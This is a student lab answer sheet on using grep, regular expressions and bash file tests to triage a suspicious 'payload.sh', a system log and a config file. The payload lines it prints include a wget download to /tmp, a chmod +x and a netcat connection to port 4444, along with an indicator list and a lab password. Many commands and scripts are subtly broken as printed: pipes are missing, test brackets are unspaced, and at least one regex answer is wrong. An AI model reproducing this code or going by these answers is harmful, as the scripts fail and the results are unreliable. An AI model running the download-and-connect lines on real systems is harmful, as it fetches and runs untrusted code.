

GREP, REGEX & BASH FILE INVESTIGATION

Security Log and Suspicious File Analysis Lab

Part A — Basic grep

Exercise 1 — Search File Contents

Using payload.sh:

Assignment instruction: Using payload.sh, perform basic grep searches for the specified commands, text and patterns.

Key idea: grep searches the specified file and prints lines that match the search pattern.

Command	Output
Q1. Find the line containing wget	
grep "wget" payload.sh	wget http://update-server.local/package.dat -O /tmp/package.dat
Q2. Find the line containing nc	
grep "nc" payload.sh	echo "Starting maintenance" nc 192.168.10.50 4444
Q3. Find the line containing chmod	
grep "chmod" payload.sh	chmod +x /tmp/package.dat
Q4. Search for WGET ignoring case	
grep -i "WGET" payload.sh	wget http://update-server.local/package.dat -O /tmp/package.dat
Q5. Display line numbers containing /tmp	
grep -n "/tmp" payload.sh	3:TEMP_DIR="/tmp/system_cache" 6:wget http://update-server.local/package.dat -O /tmp/package.dat 9:chmod +x /tmp/package.dat
Q6. Count the number of lines containing /tmp	
grep -c "/tmp" payload.sh	3
Q7. Display only the matched word wget	
grep -o "wget" payload.sh	wget
Q8. Search for nc as a whole word	
grep -w "nc" payload.sh	nc 192.168.10.50 4444

Exercise 2 — Compare Files

Assignment instruction: Use `grep` with multiple filenames to compare `payload.sh`, `update.sh` and `cleanup.sh` for `wget` and `/tmp`.

Key idea: When multiple filenames are given, `grep` searches each file and normally identifies the matching filename.

Command	Output
Q1. Search for wget in payload.sh, update.sh and cleanup.sh	
<code>grep "wget" payload.sh update.sh cleanup.sh</code>	payload.sh:wget http://update-server.local/package.dat -O /tmp/package.dat
Q2. Which file contains wget?	
<code>grep -l "wget" payload.sh update.sh cleanup.sh</code>	payload.sh
Q3. Which files do not contain wget?	
<code>grep -L "wget" payload.sh update.sh cleanup.sh</code>	update.sh cleanup.sh
Q4. Repeat the search for /tmp	
<code>grep "/tmp" payload.sh update.sh cleanup.sh</code>	payload.sh:TEMP_DIR="/tmp/system_cache" payload.sh:wget http://update-server.local/package.dat -O /tmp/package.dat payload.sh:chmod +x /tmp/package.dat cleanup.sh:rm /tmp/application.tmp cleanup.sh:rm /tmp/old_cache.tmp
Q5. Which files contain /tmp?	
<code>grep -l "/tmp" payload.sh update.sh cleanup.sh</code>	payload.sh cleanup.sh

Exercise 3 — Inverse Search

Assignment instruction: Using `system.log`, display and count lines that do not contain the specified log levels.

Key idea: `-v` performs an inverse search and prints lines that do not match the pattern.

Command	Output
Q1. Display all lines that do not contain INFO	
<code>grep -v "INFO" system.log</code>	WARNING Disk usage reached 80 percent ERROR Backup operation failed WARNING Unusual file activity detected ERROR Permission denied while accessing file FAILED Security update installation
Q2. Display all lines that do not contain ERROR	
<code>grep -v "ERROR" system.log</code>	INFO System started successfully INFO User student logged in WARNING Disk usage reached 80 percent INFO Backup process started INFO User admin logged in WARNING Unusual file activity detected INFO System scan completed FAILED Security update installation INFO System shutdown initiated

Q3. Display all lines except those containing WARNING	
grep -v "WARNING" system.log	INFO System started successfully INFO User student logged in INFO Backup process started ERROR Backup operation failed INFO User admin logged in ERROR Permission denied while accessing file INFO System scan completed FAILED Security update installation INFO System shutdown initiated
Q4. Count the number of non-INFO entries	
grep -vc "INFO" system.log	5

Part B — Security Log Analysis

Exercise 4 — Analyze system.log

Assignment instruction: Use `grep` to identify **ERROR**, **WARNING** and **FAILED** entries and determine counts, line numbers and case-insensitive matches.

Key idea: `grep` can filter log entries, count matches, show line numbers and quietly test for a pattern.

Command	Output
Q1. Find all ERROR entries	
grep "ERROR" system.log	ERROR Backup operation failed ERROR Permission denied while accessing file
Q2. Find all WARNING entries	
grep "WARNING" system.log	WARNING Disk usage reached 80 percent WARNING Unusual file activity detected
Q3. Find the FAILED entry	
grep "FAILED" system.log	FAILED Security update installation
Q4. Count the number of ERROR entries	
grep -c "ERROR" system.log	2
Q5. Display line numbers containing WARNING	
grep -n "WARNING" system.log	3:WARNING Disk usage reached 80 percent 7:WARNING Unusual file activity detected
Q6. Search for error irrespective of case	
grep -i "error" system.log	ERROR Backup operation failed ERROR Permission denied while accessing file
Q7. Determine whether Malware occurs without displaying output	
grep -q "Malware" system.log; echo \$?	1

Exercise 5 — Context Investigation

Assignment instruction: Use `grep` context options to inspect lines before and after **ERROR** and **FAILED** events.

Key idea: Context helps reveal preceding actions, related events, possible causes and effects.

Command	Output
Q1. Display two lines after each ERROR	
<code>grep -A 2 "ERROR" system.log</code>	ERROR Backup operation failed INFO User admin logged in WARNING Unusual file activity detected ERROR Permission denied while accessing file INFO System scan completed FAILED Security update installation
Q2. Display two lines before each ERROR	
<code>grep -B 2 "ERROR" system.log</code>	WARNING Disk usage reached 80 percent INFO Backup process started ERROR Backup operation failed INFO User admin logged in WARNING Unusual file activity detected ERROR Permission denied while accessing file
Q3. Display one line before and one line after each ERROR	
<code>grep -C 1 "ERROR" system.log</code>	INFO Backup process started ERROR Backup operation failed INFO User admin logged in WARNING Unusual file activity detected ERROR Permission denied while accessing file INFO System scan completed
Q4. Display two lines around FAILED	
<code>grep -C 2 "FAILED" system.log</code>	ERROR Permission denied while accessing file INFO System scan completed FAILED Security update installation INFO System shutdown initiated
Q5. Why is context useful during incident investigation?	
–	It helps identify what happened immediately before and after an error, revealing possible causes, related events, and impact.

Part C — `egrep` / `grep -E`

Exercise 6 — Search Multiple Security Events

Assignment instruction: Using `system.log`, find lines containing **ERROR**, **WARNING** or **FAILED** with one extended regular expression.

Key idea: `-E` enables extended regular expressions and `|` means OR.

Command	Output
Q1. Find lines containing ERROR, WARNING or FAILED	

grep -E "ERROR WARNING FAILED" system.log	WARNING Disk usage reached 80 percent ERROR Backup operation failed WARNING Unusual file activity detected ERROR Permission denied while accessing file FAILED Security update installation
---	---

Exercise 7 — Multiple Suspicious Commands

Assignment instruction: Using `payload.sh`, search for `wget`, `curl`, `nc` or `chmod` with one extended regular expression and determine the results.

Key idea: `grep -E` allows several alternatives in one pattern.

Command	Output
Q1. Search for <code>wget</code>, <code>curl</code>, <code>nc</code> or <code>chmod</code> using one extended regular expression	
grep -E "wget curl nc chmod" payload.sh	echo "Starting maintenance" wget http://update-server.local/package.dat -O /tmp/package.dat nc 192.168.10.50 4444 chmod +x /tmp/package.dat
Q2. Which patterns were found?	
grep -Eo "wget curl nc chmod" payload.sh sort -u	chmod nc wget
Q3. Which pattern was not found?	
—	curl
Q4. How many lines contain at least one of these patterns?	
grep -Ec "wget curl nc chmod" payload.sh	4

Exercise 8 — Search Multiple Files

Assignment instruction: Search multiple shell files for selected commands and report filenames, matching lines and counts.

Key idea: `-l` lists matching filenames, `-n` shows line numbers and `-c` counts matching lines.

Command	Output
Q1. Which files contain at least one selected command?	
grep -l -E "wget curl nc chmod" payload.sh update.sh cleanup.sh	payload.sh
Q2. Display only the filenames containing matches	
grep -l -E "wget curl nc chmod" payload.sh update.sh cleanup.sh	payload.sh
Q3. Display matching lines with line numbers	
grep -n -E "wget curl nc chmod" payload.sh update.sh cleanup.sh	payload.sh:2:echo "Starting maintenance" payload.sh:6:wget http://update-server.local/package.dat -O /tmp/package.dat

	payload.sh:8:nc 192.168.10.50 4444 payload.sh:9:chmod +x /tmp/package.dat
Q4. Count the matching lines in each file	
grep -c -E "wget curl nc chmod" payload.sh update.sh cleanup.sh	payload.sh:4 update.sh:0 cleanup.sh:0

Part D — patterns.txt

Exercise 9 — Pattern File Investigation

Assignment instruction: Use patterns.txt to search payload.sh, system.log, config.conf and the shell-script files.

Key idea: `grep -f patterns.txt` reads its search patterns from patterns.txt. The file contains indicators such as wget, curl, nc, chmod, password, FAILED, ERROR and WARNING.

Command	Output
Q1. Search payload.sh using patterns.txt	
grep -f patterns.txt payload.sh	echo "Starting maintenance" wget http://update-server.local/package.dat -O /tmp/package.dat nc 192.168.10.50 4444 chmod +x /tmp/package.dat
Q2. Search system.log using patterns.txt	
grep -f patterns.txt system.log	WARNING Disk usage reached 80 percent ERROR Backup operation failed WARNING Unusual file activity detected ERROR Permission denied while accessing file FAILED Security update installation
Q3. Search config.conf using patterns.txt	
grep -f patterns.txt config.conf	password=LabPassword123
Q4. Search all .sh files	
grep -f patterns.txt *.sh	payload.sh:echo "Starting maintenance" payload.sh:wget http://update-server.local/package.dat -O /tmp/package.dat payload.sh:nc 192.168.10.50 4444 payload.sh:chmod +x /tmp/package.dat
Q5. Display only filenames containing at least one pattern	
grep -l -f patterns.txt *.sh system.log config.conf	payload.sh system.log config.conf
Q6. Display matching lines without printing filenames	
grep -h -f patterns.txt *.sh system.log config.conf	echo "Starting maintenance" wget http://update-server.local/package.dat -O /tmp/package.dat nc 192.168.10.50 4444 chmod +x /tmp/package.dat WARNING Disk usage reached 80 percent

	ERROR Backup operation failed WARNING Unusual file activity detected ERROR Permission denied while accessing file FAILED Security update installation password=LabPassword123
Q7. Which files contain indicators listed in patterns.txt?	
–	payload.sh, system.log and config.conf contain indicators from patterns.txt.

Part E — Regex Using filelist.txt

Exercise 10 — Beginning and End of Line

Assignment instruction: Using filelist.txt, find filenames according to their beginning or ending patterns.

Key idea: ^ matches the beginning of a line and \$ matches the end of a line.

Command	Output
Q1. Find filenames beginning with malware	
grep "^malware" filelist.txt	malware1.sh malware2.sh malwareA.sh
Q2. Find filenames beginning with script	
grep "^script" filelist.txt	script1.py script2.py
Q3. Find filenames ending in .sh	
grep "\.sh\$" filelist.txt	payload.sh update.sh cleanup.sh malware1.sh malware2.sh malwareA.sh
Q4. Find filenames ending in .py	
grep "\.py\$" filelist.txt	scanner.py script1.py script2.py
Q5. Find filenames ending in .log	
grep "\.log\$" filelist.txt	system.log access.log
Q6. Find filenames beginning with p and ending in .sh	
grep "^p.*\.sh\$" filelist.txt	payload.sh

Exercise 11 — Character Classes

Assignment instruction: Using filelist.txt, use character classes to match digits and specified starting characters.

Key idea: [] defines a character class, such as [0-9] for any digit and [12] for either 1 or 2.

Command	Output
Q1. Find malware1.sh and malware2.sh using one pattern	
grep "^malware[12]\.sh\$" filelist.txt	malware1.sh malware2.sh
Q2. Find filenames containing a digit	
grep "[0-9]" filelist.txt	malware1.sh malware2.sh script1.py script2.py
Q3. Find filenames containing digits 1 or 2	
grep "[12]" filelist.txt	malware1.sh malware2.sh script1.py script2.py
Q4. Find filenames beginning with m or p	
grep "^[mp]" filelist.txt	payload.sh malware1.sh malware2.sh malwareA.sh
Q5. Find filenames beginning with s or u	
grep "^[su]" filelist.txt	system.log update.sh scanner.py script1.py script2.py

Exercise 12 — Negated Character Classes

Assignment instruction: Using filelist.txt, find filenames that do not start with specified characters or have a non-digit after malware.

Key idea: ^ inside a character class, as in [^m], means any character except m.

Command	Output
Q1. Find filenames that do not begin with m	
grep "[^m]" filelist.txt	report.txt system.log access.log config.conf payload.sh update.sh cleanup.sh scanner.py script1.py script2.py notes.pdf empty.txt restricted.txt

Q2. Find filenames that do not begin with m or p	
grep "^[^mp]" filelist.txt	report.txt system.log access.log config.conf update.sh cleanup.sh scanner.py script1.py script2.py notes.pdf empty.txt restricted.txt
Q3. Find malware filenames where the character following malware is not a digit	
grep "^malware[^0-9]" filelist.txt	malwareA.sh

Part F — File Operators

Exercise 13 — File Existence Test

Assignment instruction: Write and test a shell script that accepts a filename and checks whether the path exists.

Key idea: [-e "\$file"] checks whether the specified path exists.

Command	Output
Q1. Write a shell script that accepts a filename and determines whether it exists	
file_exists.sh filename	Script: #!/bin/bash if [-e "\$1"]; then echo "File exists" else echo "File does not exist" fi
Q2. Test with payload.sh	
bash file_exists.sh payload.sh	File exists
Q3. Test with report.txt	
bash file_exists.sh report.txt	File exists
Q4. Test with unknown.sh	
bash file_exists.sh unknown.sh	File does not exist

Exercise 14

No Exercise 14 was provided in the supplied assignment sheet; numbering continues with Exercise 15.

Exercise 15 — File Type Test

Command	Output
Q1. Write a script that determines whether a path is a regular file, directory, or neither	

file_type.sh path	Script: #!/bin/bash if [-f "\$1"]; then echo "Regular file" elif [-d "\$1"]; then echo "Directory" else echo "Neither" fi
Q2. Test with payload.sh	
bash file_type.sh payload.sh	Regular file
Q3. Test with system.log	
bash file_type.sh system.log	Regular file
Q4. Test with quarantine	
bash file_type.sh quarantine	Neither (path is not present in the supplied dataset)
Q5. Test with backup	
bash file_type.sh backup	Neither (path is not present in the supplied dataset)
Q6. Test with unknown	
bash file_type.sh unknown	Neither

Exercise 15 — File Permissions

Assignment instruction: Write and test a script that reports whether a selected file is readable, writable and executable.

Key idea: -r, -w and -x test read, write and execute permissions.

Command	Output
Q1. Check whether a selected file is readable, writable and executable	
bash file_permissions.sh filename	Script: #!/bin/bash echo "File: \$1" [-r "\$1"] && echo "Readable : Yes" echo "Readable : No" [-w "\$1"] && echo "Writable : Yes" echo "Writable : No" [-x "\$1"] && echo "Executable : Yes" echo "Executable : No"
Q2. Test payload.sh	
bash file_permissions.sh payload.sh	File: payload.sh Readable : Yes Writable : Yes Executable : Yes
Q3. Test update.sh	
bash file_permissions.sh update.sh	File: update.sh Readable : Yes

	Writable : Yes Executable : Yes
Q4. Test report.txt	
bash file_permissions.sh report.txt	File: report.txt Readable : Yes Writable : Yes Executable : No
Q5. Test config.conf	
bash file_permissions.sh config.conf	File: config.conf Readable : Yes Writable : Yes Executable : No

Exercise 16 — File Content Test

Assignment instruction: Write and test a script that determines whether a file contains data.

Key idea: -s is true when a file exists and has a size greater than zero.

Command	Output
Q1. Determine whether each file contains data	
bash file_data.sh filename	Script: #!/bin/bash if [-s "\$1"]; then echo "File contains data" else echo "File is empty" fi
Q2. Test payload.sh	
bash file_data.sh payload.sh	File contains data
Q3. Test empty.txt	
bash file_data.sh empty.txt	File is empty

Part G — grep + File Operators + Constructs

Exercise 17 — File Validation Using []

Assignment instruction: Use [] to check existence, regular-file status, readability and non-empty status.

Key idea: [] is the traditional shell test syntax for file conditions.

Command	Output
Q1. Check existence, regular-file status, readability and non-empty status	
bash validate.sh filename	Script: #!/bin/bash if [-e "\$1"] && [-f "\$1"] && [-r "\$1"] && [-s "\$1"]; then echo "Exists: Yes"

	<pre> echo "Regular File: Yes" echo "Readable: Yes" echo "Non-empty: Yes" else echo "One or more checks failed" fi </pre>
Q2. Result for payload.sh	
bash validate.sh payload.sh	<pre> Exists: Yes Regular File: Yes Readable: Yes Non-empty: Yes </pre>

Exercise 18 — [] + grep

Assignment instruction: Validate the file with [] and then search it for wget.

Key idea: grep -q suppresses output and \$? gives the exit status of the previous command.

Command	Output
Q1. Validate the file and then search for wget	
bash check_wget.sh filename	<pre> Script: #!/bin/bash if [-e "\$1"] && [-f "\$1"] && [-r "\$1"] && [-s "\$1"]; then grep -q "wget" "\$1" if [\$? -eq 0]; then echo "Selected indicator detected - investigate further" else echo "Selected indicator not detected" fi fi </pre>
Q2. Test payload.sh	
bash check_wget.sh payload.sh	Selected indicator detected - investigate further
Q3. Test update.sh	
bash check_wget.sh update.sh	Selected indicator not detected

Part H — Repeat File Tests Using [[]]

Exercise 19 — Repeat Exercise 17 Using [[]]

Assignment instruction: Repeat the file validation checks using Bash [[]] syntax.

Key idea: [[]] is Bash's conditional test syntax and can combine conditions.

Command	Output
Q1. Repeat Exercise 17 using [[]]	
bash validate_double_bracket.sh filename	<pre> Script: #!/bin/bash if [[-e "\$1" && -f "\$1" && -r "\$1" && -s "\$1"]]; then </pre>

	<pre> echo "All file checks passed" else echo "One or more file checks failed" fi </pre>
Q2. Test payload.sh	
<pre> bash validate_double_bracket.sh payload.sh </pre>	All file checks passed

Exercise 20 — Regex Using [[]]

Assignment instruction: Use `[[ "$filename" =~ regex ]]` to determine whether a filename ends with `.sh`.

Key idea: `=~` performs a regular-expression match inside Bash `[[ ]]`.

Command	Output
Q1. Check whether the filename ends with .sh	
<pre> bash extension.sh filename </pre>	<pre> Script: #!/bin/bash filename="\$1" if [["\$filename" =~ \.sh\$]]; then echo "Shell script identified for inspection" else echo "File does not have a .sh extension" fi </pre>
Q2. Test payload.sh	
<pre> bash extension.sh payload.sh </pre>	Shell script identified for inspection
Q3. Test scanner.py	
<pre> bash extension.sh scanner.py </pre>	File does not have a .sh extension
Q4. Test report.txt	
<pre> bash extension.sh report.txt </pre>	File does not have a .sh extension

Exercise 21 — Multiple Extensions Using [[]]

Assignment instruction: Extend the filename regex to identify `.sh`, `.py` and `.pl` files.

Key idea: `|` inside the regex allows several acceptable extensions.

Command	Output
Q1. Identify .sh, .py and .pl files	
<pre> bash extensions.sh filename </pre>	<pre> Script: #!/bin/bash filename="\$1" if [["\$filename" =~ \.(sh py pl)\$]]; then echo "Script file - inspect if required" else echo "Not a script extension" fi </pre>
Q2. Test payload.sh	

bash extensions.sh payload.sh	Script file - inspect if required
Q3. Test scanner.py	
bash extensions.sh scanner.py	Script file - inspect if required
Q4. Test report.txt	
bash extensions.sh report.txt	Not a script extension
Q5. Test config.conf	
bash extensions.sh config.conf	Not a script extension

Note: These extensions are classified by filename only; they are not treated as malicious.

Part I — grep + File Operators + Constructs

Exercise 22 — Executable File Content Analysis

Assignment instruction: Check that a selected path exists, is a regular file and is executable, then search it for wget.

Key idea: Content analysis is performed only after the required file tests succeed.

Command	Output
Q1. Check existence, regular-file status, executability and search for wget	
bash executable_check.sh filename	Script: #!/bin/bash if [-e "\$1"] && [-f "\$1"]; then if [-x "\$1"]; then grep -q "wget" "\$1" if [\$? -eq 0]; then echo "Executable file contains wget" else echo "Executable file does not contain wget" fi else echo "File is not executable" fi else echo "File is not a regular existing file" fi
Q2. Test payload.sh	
bash executable_check.sh payload.sh	Executable file contains wget
Q3. Test update.sh	
bash executable_check.sh update.sh	Executable file does not contain wget
Q4. Test report.txt	
bash executable_check.sh report.txt	File is not executable

Exercise 23 — egrep + File Operators

Assignment instruction: Analyze only regular, readable and non-empty files, then search for wget, curl, nc or chmod.

Key idea: grep -E supports the combined pattern wget|curl|nc|chmod.

Command	Output
Q1. Analyze only regular, readable and non-empty files using grep -E	
bash indicator_check.sh filename	Script: #!/bin/bash if [-f "\$1"] && [-r "\$1"] && [-s "\$1"]; then if grep -Eq "wget curl nc chmod" "\$1"; then echo "One or more selected indicators detected" else echo "Selected indicators not detected" fi fi
Q2. Test payload.sh	
bash indicator_check.sh payload.sh	One or more selected indicators detected
Q3. Test update.sh	
bash indicator_check.sh update.sh	Selected indicators not detected

Part J — Configuration File Investigation

Exercise 24 — Sensitive Information Search

Assignment instruction: Validate config.conf and use egrep/grep -E to search for password or username.

Key idea: Authentication information needs additional protection because exposed credentials can enable unauthorized access.

Command	Output
Q1. Verify config.conf exists, is regular, readable and non-empty, then search password username	
bash config_check.sh	username=admin password=LabPassword123
Q2. Why should configuration files containing authentication information receive additional protection?	
—	They may contain credentials or other sensitive information that could enable unauthorized access if exposed or modified.

Part K — Suspicious File Triage

Exercise 25 — file_check.sh

Assignment instruction: Create file_check.sh to perform the complete file investigation and summarize the findings.

Key idea: The script combines file operators, grep, grep -E, \$?, and [[]] regex checks.

Command	Output
Q1. Write file_check.sh to perform all required file, grep, \$?, and [[]] checks	
bash file_check.sh	<pre>Script: #!/bin/bash read -p "Enter filename: " filename exists="No"; regular="No"; directory="No" readable="No"; writable="No"; executable="No"; nonempty="No"; shell="No" [[-e "\$filename"]] && exists="Yes" [[-f "\$filename"]] && regular="Yes" [[-d "\$filename"]] && directory="Yes" [[-r "\$filename"]] && readable="Yes" [[-w "\$filename"]] && writable="Yes" [[-x "\$filename"]] && executable="Yes" [[-s "\$filename"]] && nonempty="Yes" [["\$filename" =~ \.sh\$]] && shell="Yes" wget_status="Not checked" selected_status="Not checked" if [["\$regular" == "Yes" && "\$readable" == "Yes" && "\$nonempty" == "Yes"]]; then grep -q "wget" "\$filename" if [[\$? -eq 0]]; then wget_status="Found"; else wget_status="Not found"; fi grep -Eq "wget curl nc chmod" "\$filename" if [[\$? -eq 0]]; then selected_status="Found"; else selected_status="Not found"; fi fi echo "----- FILE INVESTIGATION -----" echo echo "Exists : \$exists" echo "Regular File : \$regular" echo "Directory : \$directory" echo "Readable : \$readable" echo "Writable : \$writable" echo "Executable : \$executable" echo "Non-empty : \$nonempty" echo "Shell Script : \$shell" echo echo "wget : \$wget_status" echo "Selected indicators : \$selected_status" [["\$wget_status" == "Found" "\$selected_status" == "Found"]] && echo [["\$wget_status" == "Found" "\$selected_status" == "Found"]] && echo "Further inspection recommended"</pre>

Q2. Test with payload.sh	
echo payload.sh bash file_check.sh	Exists: Yes Regular File: Yes Directory: No Readable: Yes Writable: Yes Executable: Yes Non-empty: Yes Shell Script: Yes wget: Found Selected indicators: Found Further inspection recommended
Q3. Test with update.sh	
echo update.sh bash file_check.sh	Exists: Yes Regular File: Yes Directory: No Readable: Yes Writable: Yes Executable: Yes Non-empty: Yes Shell Script: Yes wget: Not found Selected indicators: Not found

Grep & File Operator Command Reference

Quick reference for the commands and options used throughout the exercises.

Command / Option	Use
grep "pattern" file	Search for a pattern in a file
grep -i "pattern" file	Ignore uppercase/lowercase differences
grep -v "pattern" file	Display lines that do not match
grep -n "pattern" file	Display matching lines with line numbers
grep -c "pattern" file	Count matching lines
grep -o "pattern" file	Display only the matched part
grep -w "pattern" file	Match the pattern as a whole word
grep -l "pattern" files	Display only filenames containing a match
grep -L "pattern" files	Display filenames with no match
grep -h "pattern" files	Hide filenames in matching output
grep -q "pattern" file	Quiet mode; display no output, use exit status
grep -A 2 "pattern" file	Display 2 lines after each match
grep -B 2 "pattern" file	Display 2 lines before each match
grep -C 1 "pattern" file	Display 1 line before and after each match
grep -C 2 "pattern" file	Display 2 lines before and after each match
grep -E "A B C" file	Use an extended regular expression for multiple patterns
egrep "A B C" file	Extended grep; equivalent to grep -E
grep -f patterns.txt file	Read search patterns from a pattern file
grep -Eo "A B C" file	Display only matched parts using extended regex
grep -Ec "A B C" file	Count lines matching an extended regex
grep -l -E "A B" files	Display filenames containing any selected pattern
grep -n -E "A B" files	Display matching lines with line numbers
grep -c -E "A B" files	Count matching lines in each file
grep "^pattern" file	Match pattern at the beginning of a line
grep "pattern\$" file	Match pattern at the end of a line
grep "\.sh\$" file	Match filenames ending in .sh
grep "^p.*\.sh\$" file	Match filenames beginning with p and ending in .sh
grep "[0-9]" file	Match any digit
grep "[12]" file	Match digit 1 or 2
grep "^[mp]" file	Match lines beginning with m or p
grep "^[su]" file	Match lines beginning with s or u
grep "^[^m]" file	Match lines not beginning with m
grep "^[^mp]" file	Match lines not beginning with m or p
grep "^malware[^\0-9]" file	Match malware followed by a non-digit
[-e "\$file"]	Check whether a path exists
[-f "\$file"]	Check whether the path is a regular file
[-d "\$file"]	Check whether the path is a directory
[-r "\$file"]	Check whether the file is readable
[-w "\$file"]	Check whether the file is writable
[-x "\$file"]	Check whether the file is executable
[-s "\$file"]	Check whether the file is non-empty
[[-e "\$file"]]	Check whether a path exists using [[]]
[[-f "\$file"]]	Check whether the path is a regular file
[[-d "\$file"]]	Check whether the path is a directory
[[-r "\$file"]]	Check whether the file is readable
[[-w "\$file"]]	Check whether the file is writable
[[-x "\$file"]]	Check whether the file is executable
[[-s "\$file"]]	Check whether the file is non-empty
[["\$filename" =~ \.sh\$]]	Check whether a filename ends in .sh using regex
[["\$filename" =~ \.(sh py pl)\$]]	Check for .sh, .py or .pl extensions
\$?	Exit status of the previous command; 0 means success